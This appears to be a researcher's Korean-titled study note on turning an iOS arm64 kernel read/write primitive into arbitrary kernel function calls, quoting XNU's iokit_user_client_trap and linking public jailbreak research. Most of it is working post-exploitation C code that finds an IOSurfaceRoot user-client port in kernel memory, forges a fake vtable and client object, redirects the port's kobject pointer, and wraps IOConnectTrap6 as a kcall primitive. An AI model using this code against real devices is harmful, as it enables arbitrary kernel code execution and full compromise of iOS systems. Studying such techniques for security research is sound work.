iOS arm64 환경에서 Kernel R/W로 kernel call 구현 이해하기

https://github.com/apple-oss-distributions/xnu/blob/xnu-7195.81.3/iokit/Kernel/IOUserClient.cpp#L6166
https://conference.hitb.org/hitbsecconf2013kul/materials/D2T2%20-%20Stefan%20Esser%20-%20Tales%20from%20iOS%206%20Exploitation%20and%20iOS%207%20Security%20Changes.pdf

kern_return_t
iokit_user_client_trap(struct iokit_user_client_trap_args *args)
{
    kern_return_t  result = kIOReturnBadArgument;
    IOUserClient * userClient;
    OSObject     * object;
    uintptr_t      ref;

...
        if (kIOReturnSuccess == result) {
            trap = userClient->getTargetAndTrapForIndex(&target, args->index);
        }
        if (trap && target) {
            IOTrap func;

            func = trap->func;

            if (func) {
                result = (target->*func)(args->p1, args->p2, args->p3, args->p4, args->p5, args->p6);
            }
        }

        iokit_remove_connect_reference(userClient);
    }

    return result;
}

uint64_t init_kcall_allocated(uint64_t _fake_vtable, uint64_t _fake_client, mach_port_t * _user_client) {
    uint64_t add_x0_x0_0x40_ret_func = off_add_x0_x0_0x40_ret_func + get_kslide();

    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
    if (service == IO_OBJECT_NULL) {
        printf(" [-] unable to find service\n");
        exit(EXIT_FAILURE);
    }
    mach_port_t user_client;
    kern_return_t err = IOServiceOpen(service, mach_task_self(), 0, & user_client);
    if (err != KERN_SUCCESS) {
        printf(" [-] unable to get user client connection\n");
        exit(EXIT_FAILURE);
    }
    ...
}

uint64_t uc_port = find_port(user_client);
...

uint64_t find_port(mach_port_name_t port){
	uint64_t self_proc = proc_of_pid(getpid());
    uint64_t task_addr = kread64(self_proc + off_p_task);
    uint64_t itk_space = kread64(task_addr + off_task_itk_space);
    uint64_t is_table = kread64(itk_space + off_ipc_space_is_table);
    uint32_t port_index = port >> 8; //MACH_PORT_INDEX
    const int sizeof_ipc_entry_t = 0x18;
    uint64_t port_addr = kread64(is_table + (port_index * sizeof_ipc_entry_t));
    return port_addr;
}

uint64_t proc_of_pid(pid_t pid) {
	uint64_t proc = 0;
	kernRW_getKernelProc(&proc);
    
    while (true) {
        if(kread32(proc + off_p_pid) == pid) {
            return proc;
        }
        proc = kread64(proc + off_p_list_le_prev);
        if(!proc) {
            return -1;
        }
    }
    
    return 0;
}

...
uint64_t uc_addr = kread64(uc_port + 0x68); //#define IPC_PORT_IP_KOBJECT_OFF (0x68)	//
uint64_t uc_vtab = kread64(uc_addr); //0xFFFFFFF0078666C0
uint64_t fake_vtable = _fake_vtable;
for (int i = 0; i < 0x200; i++) {
    kwrite64(fake_vtable + i * 8, kread64(uc_vtab + i * 8));
}
uint64_t fake_client = _fake_client;
for (int i = 0; i < 0x200; i++) {
    kwrite64(fake_client + i * 8, kread64(uc_addr + i * 8));
}
kwrite64(fake_client, fake_vtable);
kwrite64(uc_port + 0x68, fake_client); //#define IPC_PORT_IP_KOBJECT_OFF (0x68)
kwrite64(fake_vtable + 8 * 0xB8, add_x0_x0_0x40_ret_func);

*_user_client = user_client;

int test_kcall(mach_port_t user_client, uint64_t fake_client) {
	uint64_t ret_300 = kcall(user_client, fake_client, off_ret_300 + get_kslide(), 0x4141414141414141, 0x4242424242424242, 0x4343434343434343, 0x4444444444444444, 0x4545454545454545, 0x4646464646464646, 0x4747474747474747);
	printf("ret_300: %llu\n", ret_300);
	...
}

uint64_t kcall(mach_port_t user_client, uint64_t fake_client, uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) {
    uint64_t offx20 = kread64(fake_client+0x40);
    uint64_t offx28 = kread64(fake_client+0x48);
    kwrite64(fake_client+0x40, x0);
    kwrite64(fake_client+0x48, addr);
    uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6));
    kwrite64(fake_client+0x40, offx20);
    kwrite64(fake_client+0x48, offx28);
    return returnval;
}

https://bazad.github.io/2018/04/ios-advanced-kernel-call-jop

https://github.com/wh1te4ever/kfund/blob/wong/kfund/post-exploit/kcall.m#L86